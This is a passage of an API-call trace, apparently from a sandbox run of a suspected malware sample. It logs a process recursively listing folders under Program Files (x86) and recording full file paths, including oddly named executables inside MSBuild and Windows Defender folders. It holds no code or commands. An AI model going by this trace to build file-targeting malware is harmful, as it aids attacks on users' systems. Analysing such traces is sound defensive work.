(x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0119.332] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0119.332] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0119.332] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0119.701] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.701] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.701] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.701] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.701] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0119.702] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0119.702] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0119.702] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0119.702] lstrcpyW (in: lpString1=0x24a58b0, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0119.702] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.702] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0119.702] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0119.702] lstrlenW (lpString="Uninstall.exe") returned 13 [0119.702] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0119.702] lstrcpyW (in: lpString1=0x24a5950, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0119.702] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.702] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0119.702] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0119.702] lstrlenW (lpString="updater.ini") returned 11 [0119.702] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0119.702] lstrcpyW (in: lpString1=0x24a2320, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0119.702] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0119.702] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0119.702] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0119.702] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0119.702] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0119.702] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0119.702] lstrlenW (lpString="MSBuild") returned 7 [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0119.703] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0119.703] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0119.703] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.703] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.703] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.703] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.703] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.703] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0119.703] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0119.703] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0119.703] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0119.703] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0119.703] lstrcpyW (in: lpString1=0x24a59f8, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0119.703] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.703] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0119.703] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0119.703] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0119.703] lstrlenW (lpString="Microsoft") returned 9 [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0119.703] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0119.703] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0119.703] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.703] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.703] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.703] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.704] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.704] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.704] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0119.704] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0119.704] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0119.704] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0119.704] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0119.704] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.704] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.704] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0119.704] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0119.705] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0119.705] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0119.705] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0119.705] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0119.705] lstrlenW (lpString="Reference Assemblies") returned 20 [0119.705] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0119.705] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0119.705] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0119.705] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0119.705] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0119.705] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.705] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.705] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.705] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.705] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.705] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0119.705] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0119.705] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0119.705] lstrlenW (lpString="Microsoft") returned 9 [0119.705] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0119.705] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0119.705] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0119.706] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0119.706] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.706] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.706] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.706] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.706] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.706] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.706] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0119.706] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0119.706] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0119.706] lstrlenW (lpString="Framework") returned 9 [0119.706] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0119.706] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.706] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.706] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0119.706] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0119.706] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0119.706] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0119.706] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0119.706] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0119.706] lstrlenW (lpString="Uninstall Information") returned 21 [0119.706] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0119.706] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0119.706] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0119.706] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0119.706] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0120.072] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.072] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.072] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.072] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.072] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0120.072] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0120.072] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0120.072] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0120.072] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0120.072] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0120.072] lstrlenW (lpString="Windows Defender") returned 16 [0120.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0120.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0120.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0120.072] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0120.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.188] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.188] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.188] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0120.188] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.188] lstrlenW (lpString="en-US") returned 5 [0120.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0120.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0120.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0120.188] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.188] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.188] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.188] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0120.188] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0120.188] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0120.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0120.188] lstrcpyW (in: lpString1=0x24a23a8, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0120.188] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.188] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0120.188] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0120.188] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0120.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0120.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0120.188] lstrcpyW (in: lpString1=0x24a2430, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0120.188] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.189] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.189] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.189] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0120.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0120.189] lstrcpyW (in: lpString1=0x24a0b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.189] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.189] lstrlenW (lpString="MpClient.dll") returned 12 [0120.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0120.189] lstrcpyW (in: lpString1=0x24a0ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.189] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.189] lstrlenW (lpString="MpOAV.dll") returned 9 [0120.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0120.189] lstrcpyW (in: lpString1=0x24a49c0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.189] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.189] lstrlenW (lpString="MsMpLics.dll") returned 12 [0120.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0120.189] lstrcpyW (in: lpString1=0x24a0c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.189] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0120.189] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0120.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0120.189] lstrcpyW (in: lpString1=0x24a5a78, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0120.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0120.189] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0120.189] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0120.189] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0120.189] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0120.189] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0120.190] lstrlenW (lpString="Windows Mail") returned 12 [0120.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0120.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0120.190] lstrlenW 